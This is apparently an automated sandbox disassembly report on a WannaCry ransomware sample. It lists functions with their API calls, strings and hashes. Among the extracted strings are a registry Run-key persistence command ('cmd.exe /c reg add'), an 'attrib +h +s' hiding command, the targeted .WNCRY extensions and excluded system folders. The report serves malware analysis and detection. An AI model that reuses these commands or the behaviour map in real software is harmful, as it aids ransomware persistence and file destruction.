                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CryptRandom
                                                                                                        • String ID:
                                                                                                        • API String ID: 2662593985-0
                                                                                                        • Opcode ID: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                                                                                        • Instruction ID: 910617a22df543c658d5e937306ede2f8c1cb301d3e6414bbcf59057d7a0af43
                                                                                                        • Opcode Fuzzy Hash: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                                                                                        • Instruction Fuzzy Hash: 8CC04C76904100FFD640DB54C988C1BB7E8BBD8740B10C508F148C3219C235DC02CB71
                                                                                                        Function 100032C0 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 133COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _wcsicmp$_wcsnicmpwcsstr
                                                                                                        • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                                                                                        • API String ID: 2817753184-2255769345
                                                                                                        • Opcode ID: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                                                                                        • Instruction ID: 38e0f07987acc90c5f2470768db190762cea25da07dd160877f69bc08099ee56
                                                                                                        • Opcode Fuzzy Hash: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                                                                                        • Instruction Fuzzy Hash: E7318F3375166522F211E21DAC81FCB138CDFA52E7F028033FE44E5144E74AAAAA86B1
                                                                                                        Function 10003410 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • LoadLibraryA.KERNEL32(kernel32.dll,75D9A710,10005BA1), ref: 10003433
                                                                                                        • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 10003450
                                                                                                        • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 1000345D
                                                                                                        • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 1000346A
                                                                                                        • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 10003477
                                                                                                        • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 10003484
                                                                                                        • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 10003491
                                                                                                        • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 1000349E
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AddressProc$LibraryLoad
                                                                                                        • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                        • API String ID: 2238633743-1294736154
                                                                                                        • Opcode ID: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                                                                                        • Instruction ID: cf0c78403fd2c3fefe85ed3b1817818ef30dc00b537cc7000bee59f2d7a133bb
                                                                                                        • Opcode Fuzzy Hash: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                                                                                        • Instruction Fuzzy Hash: C7111234A132256AFB56FB25AC94EBF27D9FF857C0302402BE501D725CDB65A841CA60
                                                                                                        Function 10005190 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 117filesleepmemoryCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetDriveTypeW.KERNEL32(00000000,00000001,00000000,00000000), ref: 100051C0
                                                                                                        • GlobalAlloc.KERNEL32(00000000,00A00000), ref: 100051D6
                                                                                                          • Part of subcall function 10005120: swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                                                                                          • Part of subcall function 10005120: DeleteFileW.KERNEL32(?), ref: 10005174
                                                                                                        • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 1000522C
                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 1000523A
                                                                                                        • MoveFileExW.KERNEL32(?,00000000,00000004,75733300), ref: 10005254
                                                                                                        • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 1000527D
                                                                                                        • WriteFile.KERNEL32(00000000,00000000,00A00000,?,00000000), ref: 100052A9
                                                                                                        • Sleep.KERNEL32(0000000A), ref: 100052B5
                                                                                                        • Sleep.KERNEL32(00002710), ref: 100052C2
                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 100052CE
                                                                                                        • FlushFileBuffers.KERNEL32(00000000), ref: 100052D5
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 100052DC
                                                                                                        • DeleteFileW.KERNEL32(?), ref: 100052E7
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$FreeGlobal$DeleteSleep$AllocBuffersCloseCreateDiskDriveFlushHandleMoveSpaceTypeWriteswprintf
                                                                                                        • String ID: :\$UUUU
                                                                                                        • API String ID: 3329057766-2502105546
                                                                                                        • Opcode ID: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                                                                                        • Instruction ID: c3553bfb2ce832e5e524584dfb39294b6681cea42b2672b67cd9b1e4f92b37f1
                                                                                                        • Opcode Fuzzy Hash: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                                                                                        • Instruction Fuzzy Hash: 6241A031604311ABF300EB64DC89FAF77E9FF85791F100A29FA45861D4EB79E9488762
                                                                                                        Function 10002D60 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 108COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _wcsicmp$wcsrchr
                                                                                                        • String ID: .WNCRY$.WNCRYT$.WNCYR$.dll$.exe
                                                                                                        • API String ID: 2496260227-3981601049
                                                                                                        • Opcode ID: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                                                                                        • Instruction ID: c174833711b2fb1714a36c3f2b07131fd7d14ecb9d1a9f70295dd6690f64d7bf
                                                                                                        • Opcode Fuzzy Hash: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                                                                                        • Instruction Fuzzy Hash: B8218E3264025153F620D229ED84F976398CBD46F6F05803BEE08D6248E729EC6AD175
                                                                                                        Function 10005060 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 62COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                                                                                        • GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                                                                                        • wcslen.MSVCRT ref: 100050A1
                                                                                                        • wcslen.MSVCRT ref: 100050AB
                                                                                                        • wcslen.MSVCRT ref: 100050B9
                                                                                                        • swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
                                                                                                        • CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
                                                                                                        • sprintf.MSVCRT ref: 100050FE
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: wcslen$Directory$CreatePathTempWindowssprintfswprintf
                                                                                                        • String ID: $RECYCLE$$RECYCLE$%C:\%s$attrib +h +s %C:\%s
                                                                                                        • API String ID: 3936433386-879418404
                                                                                                        • Opcode ID: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                                                                                        • Instruction ID: 53406f09da6477a7470ce20e768b81243a585eb0d3560c4a70511fa70a1d7675
                                                                                                        • Opcode Fuzzy Hash: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                                                                                        • Instruction Fuzzy Hash: EC110671A00620A7F320E7189C8AFCF37A8EFC4785F414419F749A2188E779610987EB
                                                                                                        Function 10004890 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 77processCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                        • GetFullPathNameA.KERNEL32(@WanaDecryptor@.exe,00000208,?,00000000), ref: 100048D3
                                                                                                        • sprintf.MSVCRT ref: 100048F0
                                                                                                        • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000,00000000), ref: 1000495F
                                                                                                        • CloseHandle.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000), ref: 10004975
                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000), ref: 1000497C
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CloseHandle$AllocateCreateFullInitializeNamePathProcesssprintf
                                                                                                        • String ID: %s %s$@WanaDecryptor@.exe$D$taskse.exe
                                                                                                        • API String ID: 2559560889-706467931
                                                                                                        • Opcode ID: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                                                                                        • Instruction ID: da2b5c8f2d4d4c2c4f6f077ca43ea13af02608b477977752943c90fd70028696
                                                                                                        • Opcode Fuzzy Hash: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                                                                                        • Instruction Fuzzy Hash: EF218871508341AEF300DB64CC54B9BB7E8EFC4784F01881EF68897295DB75D5048B62
                                                                                                        Function 10002BA0 Relevance: 15.1, APIs: 10, Instructions: 133fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • wcslen.MSVCRT ref: 10002BD9
                                                                                                        • EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
                                                                                                        • wcslen.MSVCRT ref: 10002C15
                                                                                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
                                                                                                        • ??2@YAPAXI@Z.MSVCRT ref: 10002C57
                                                                                                        • LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
                                                                                                          • Part of subcall function 10003010: GetFileAttributesW.KERNELBASE(?,75D9A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002CD6
                                                                                                        • LeaveCriticalSection.KERNEL32(?), ref: 10002CE3
                                                                                                        • wcslen.MSVCRT ref: 10002D04
                                                                                                        • DeleteFileW.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002D12
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CriticalSectionwcslen$FileLeave$??2@??3@AttributesDeleteEnterG@2@@std@@G@std@@Grow@?$basic_string@U?$char_traits@V?$allocator@
                                                                                                        • String ID:
                                                                                                        • API String ID: 784962118-0
                                                                                                        • Opcode ID: dbc25d4a253f7c7ee7b49fd99d0f6ce35ee46452017f4d27dde0f329af712c4f
                                                                                                        • Instruction ID: 8929200894a3d3d60aeee8930b19ad4408a44741c7842358e38e4ad24ebd9cab
                                                                                                        • Opcode Fuzzy Hash: dbc25d4a253f7c7ee7b49fd99d0f6ce35ee46452017f4d27dde0f329af712c4f
                                                                                                        • Instruction Fuzzy Hash: 2341BEB29047409BE304DF28CC80AAFF7E9FF88294F44492DF58A83745E735A915CB62
                                                                                                        Function 100014A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100014AE
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: rand$wcslen$ComputerNamesrand
                                                                                                        • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                                                                                                        • API String ID: 3058258771-3674288975
                                                                                                        • Opcode ID: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                                                                                        • Instruction ID: 6bdad6a71d273d2ba545fc7a1d4ce55d05bb8ce7e3220b07caf5c040d7fd5cbd
                                                                                                        • Opcode Fuzzy Hash: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                                                                                        • Instruction Fuzzy Hash: F2213D3150475587F311DB18DC817DBB3D5EBC5750F01092DE99A87285E639990F87B3
                                                                                                        Function 10003810 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000386E
                                                                                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 10003876
                                                                                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 100038AD
                                                                                                        • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 100038BA
                                                                                                        • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 100038C2
                                                                                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 100038F9
                                                                                                        • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000393A
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                        • String ID:
                                                                                                        • API String ID: 2613176527-0
                                                                                                        • Opcode ID: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                                                                                        • Instruction ID: c1de8fb6cb3a72026dff4bd4d186f336055b31e35bdbf535d2fbb9e5f9aed039
                                                                                                        • Opcode Fuzzy Hash: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                                                                                        • Instruction Fuzzy Hash: 3C41E171A00B518FD711DF1DC8C4A9AF7E6FB89790B50C85EE49A87399CB35A841CB90
                                                                                                        Function 10001760 Relevance: 10.6, APIs: 7, Instructions: 58filesynchronizationCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BBB
                                                                                                          • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BD0
                                                                                                          • Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BE7
                                                                                                        • GlobalFree.KERNEL32(?), ref: 10001797
                                                                                                        • GlobalFree.KERNEL32(?), ref: 100017C0
                                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,100016B2,75730F00,75732EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 100017E3
                                                                                                        • CloseHandle.KERNEL32(?), ref: 100017F0
                                                                                                        • DeleteCriticalSection.KERNEL32(?,?,00000000,100016B2,75730F00,75732EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 10001807
                                                                                                        • wcslen.MSVCRT ref: 10001814
                                                                                                        • DeleteFileW.KERNEL32(?,75730F10), ref: 10001822
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Crypt$DeleteDestroyFreeGlobal$CloseContextCriticalFileHandleObjectReleaseSectionSingleWaitwcslen
                                                                                                        • String ID:
                                                                                                        • API String ID: 1629502191-0
                                                                                                        • Opcode ID: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                                                                                        • Instruction ID: f586c4f20a923c2549891f38ad5cae4d46359d9a66e1c91433b4026ce85e5b09
                                                                                                        • Opcode Fuzzy Hash: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                                                                                        • Instruction Fuzzy Hash: 6D114CB45056118BF351EB38C888BD7B7E8FF44284F01451DE69E97294CFB4A8448BA4
                                                                                                        Function 100047F0 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                        • sprintf.MSVCRT ref: 10004863
                                                                                                        Strings
                                                                                                        • cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f, xrefs: 1000485D
                                                                                                        • L, xrefs: 10004814
                                                                                                        • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100047FD
                                                                                                        • M, xrefs: 10004819
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocateInitializesprintf
                                                                                                        • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$L$M$cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f
                                                                                                        • API String ID: 568869838-3541944315
                                                                                                        • Opcode ID: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                                                                                        • Instruction ID: cb81d63c27e7438ee873a6580c8d427ba87cf58f5dd356eba86e26e33131f037
                                                                                                        • Opcode Fuzzy Hash: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                                                                                        • Instruction Fuzzy Hash: 67012471508380BAF354D318C840BEF7BA8DFC5388F408C2EBAC887295DAB59548C7A3
                                                                                                        Function 10002940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: wcscat$DeleteFile
                                                                                                        • String ID: .WNCYR
                                                                                                        • API String ID: 2874565005-3780910188
                                                                                                        • Opcode ID: 89d4098d6f193e1b9fa4b3174060334de28b51d85d2f5b150166bc60bd8e7cb4
                                                                                                        • Instruction ID: a3bc17cf7ef854a2158c8400b310fe5ef82d5dee7fb413dfc94f73b9db8610d0
                                                                                                        • Opcode Fuzzy Hash: 89d4098d6f193e1b9fa4b3174060334de28b51d85d2f5b150166bc60bd8e7cb4
                                                                                                        • Instruction Fuzzy Hash: FEF0C83221011067F360E75CDC40FDF6298EFD53A0F010417F244D2148C7A4A94287A2
                                                                                                        Function 100012D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                          • Part of subcall function 100011D0: GetCurrentProcess.KERNEL32 ref: 100011E4
                                                                                                          • Part of subcall function 100011D0: OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                                                                                        • GetUserNameW.ADVAPI32 ref: 10001321
                                                                                                        • _wcsicmp.MSVCRT ref: 10001331
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
